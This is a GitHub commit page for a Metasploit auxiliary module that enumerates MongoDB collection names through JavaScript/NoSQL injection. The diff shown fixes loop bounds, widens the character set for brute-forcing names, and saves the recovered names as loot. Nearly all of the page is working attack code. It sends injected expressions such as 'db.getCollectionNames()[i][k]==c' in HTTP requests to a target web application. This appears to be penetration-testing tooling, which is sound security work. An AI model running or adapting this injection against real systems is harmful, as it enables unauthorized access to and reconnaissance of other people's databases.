Skip to content

Commit

Permalink
Update mongodb_js_inject_collection_enum.rb
Browse files Browse the repository at this point in the history
some @jvennix-r7 fixes
  • Loading branch information
brandonprry committed Jun 11, 2014
1 parent 4367e8e commit cca91dd
Showing 1 changed file with 14 additions and 3 deletions.
17 changes: 14 additions & 3 deletions modules/auxiliary/gather/mongodb_js_inject_collection_enum.rb
Original file line number Diff line number Diff line change
Expand Up @@ -9,6 +9,7 @@ class Metasploit4 < Msf::Auxiliary
Rank = GoodRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report

def initialize(info={})
super(update_info(info,
Expand Down Expand Up @@ -99,7 +100,8 @@ def run

vprint_status("Getting collection names")

(0..length-1).each do |i|
names = []
(0...length).each do |i|
vprint_status("Getting length of name for collection " + i.to_s)

name_len = 0
Expand All @@ -119,8 +121,8 @@ def run
vprint_status("Getting collection #{i}'s name")

name = ''
(0..name_len-1).each do |k|
[*('a'..'z'),*('0'..'9')].each do |c|
(0...name_len).each do |k|
[*('a'..'z'),*('0'..'9'),*('A'..'Z'),'.'].each do |c|
str = "db.getCollectionNames()[#{i}][#{k}]=='#{c}'"
res = send_request_cgi({
'uri' => uri.sub('[NoSQLi]', pay.sub('[inject]', str))
Expand All @@ -134,7 +136,16 @@ def run
end

print_status("Collections #{i}'s name is " + name)
names << name
end

p = store_loot("mongo_injection.#{datastore['RHOST']}_collections",
"text/plain",
nil,
names.to_json,
"mongo_injection_#{datastore['RHOST']}.txt",
"#{datastore["RHOST"]} MongoDB Javascript Injection Collection Enumeration")

print_good("Your collections are located at: " + p)
end
end

0 comments on commit cca91dd

Please sign in to comment.